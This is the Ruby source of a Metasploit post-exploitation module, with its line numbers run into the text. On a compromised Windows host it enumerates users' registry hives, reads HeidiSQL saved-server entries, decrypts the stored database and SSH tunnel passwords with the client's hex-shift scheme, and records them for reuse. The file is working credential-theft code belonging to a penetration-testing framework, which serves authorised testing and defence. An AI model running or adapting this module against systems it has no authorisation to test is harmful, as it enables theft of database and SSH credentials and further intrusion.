Path: blob/master/modules/post/windows/gather/credentials/heidisql.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather HeidiSQL Saved Password Extraction',15'Description' => %q{16This module extracts saved passwords from the HeidiSQL client. These17passwords are stored in the registry. They are encrypted with a custom algorithm.18This module extracts and decrypts these passwords.19},20'License' => MSF_LICENSE,21'Author' => ['h0ng10'],22'Platform' => [ 'win' ],23'SessionTypes' => [ 'meterpreter' ],24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [],27'Reliability' => []28}29)30)31end3233def print_status(msg = '')34super("#{peer} - #{msg}")35end3637def print_error(msg = '')38super("#{peer} - #{msg}")39end4041def print_good(msg = '')42super("#{peer} - #{msg}")43end4445def run46userhives = load_missing_hives47userhives.each do |hive|48next if hive['HKU'].nil?4950print_status("Looking at Key #{hive['HKU']}")51begin52subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\HeidiSQL\\Servers")53if subkeys.blank?54print_status('HeidiSQL not installed for this user.')55next56end5758service_types = {590 => 'mysql',601 => 'mysql-named-pipe',612 => 'mysql-ssh',623 => 'mssql-named-pipe',634 => 'mssql',645 => 'mssql-spx-ipx',656 => 'mssql-banyan-vines',667 => 'mssql-windows-rpc',678 => 'postgres'68}6970subkeys.each do |site|71site_key = "#{hive['HKU']}\\Software\\HeidiSQL\\Servers\\#{site}"72host = registry_getvaldata(site_key, 'Host') || ''73user = registry_getvaldata(site_key, 'User') || ''74port = registry_getvaldata(site_key, 'Port') || ''75db_type = registry_getvaldata(site_key, 'NetType') || ''76prompt = registry_getvaldata(site_key, 'LoginPrompt') || ''77ssh_user = registry_getvaldata(site_key, 'SSHtunnelUser') || ''78ssh_host = registry_getvaldata(site_key, 'SSHtunnelHost') || ''79ssh_port = registry_getvaldata(site_key, 'SSHtunnelPort') || ''80ssh_pass = registry_getvaldata(site_key, 'SSHtunnelPass') || ''81win_auth = registry_getvaldata(site_key, 'WindowsAuth') || ''82epass = registry_getvaldata(site_key, 'Password')8384# skip if windows authentication is used (mssql only)85next if db_type.between?(3, 7) && (win_auth == 1)86next if epass.nil? || (epass == '') || (epass.length == 1) || (prompt == 1)8788pass = decrypt(epass)89print_good("Service: #{service_types[db_type]} Host: #{host} Port: #{port} User: #{user} Password: #{pass}")9091service_data = {92address: host == '127.0.0.1' ? rhost : host,93port: port,94service_name: service_types[db_type],95protocol: 'tcp',96workspace_id: myworkspace_id97}9899credential_data = {100origin_type: :session,101session_id: session_db_id,102post_reference_name: refname,103private_type: :password,104private_data: pass,105username: user106}107108credential_data.merge!(service_data)109110# Create the Metasploit::Credential::Core object111credential_core = create_credential(credential_data)112113# Assemble the options hash for creating the Metasploit::Credential::Login object114login_data = {115core: credential_core,116status: Metasploit::Model::Login::Status::UNTRIED117}118119# Merge in the service data and create our Login120login_data.merge!(service_data)121create_credential_login(login_data)122123# if we have a MySQL via SSH connection, we need to store the SSH credentials as well124next unless db_type == 2125126print_good("Service: ssh Host: #{ssh_host} Port: #{ssh_port} User: #{ssh_user} Password: #{ssh_pass}")127128service_data = {129address: ssh_host,130port: ssh_port,131service_name: 'ssh',132protocol: 'tcp',133workspace_id: myworkspace_id134}135136credential_data = {137origin_type: :session,138session_id: session_db_id,139post_reference_name: refname,140private_type: :password,141private_data: ssh_pass,142username: ssh_user143}144145credential_data.merge!(service_data)146147# Create the Metasploit::Credential::Core object148credential_core = create_credential(credential_data)149150# Assemble the options hash for creating the Metasploit::Credential::Login object151login_data = {152core: credential_core,153status: Metasploit::Model::Login::Status::UNTRIED154}155156# Merge in the service data and create our Login157login_data.merge!(service_data)158create_credential_login(login_data)159end160rescue ::Rex::Post::Meterpreter::RequestError => e161elog(e)162print_error("Cannot Access User SID: #{hive['HKU']} : #{e.message}")163end164end165unload_our_hives(userhives)166end167168def decrypt(encoded)169decoded = ''170shift = Integer(encoded[-1, 1])171encoded = encoded[0, encoded.length - 1]172173hex_chars = encoded.scan(/../)174hex_chars.each do |entry|175x = entry.to_i(16) - shift176decoded += x.chr(::Encoding::UTF_8)177end178179return decoded180end181end182183184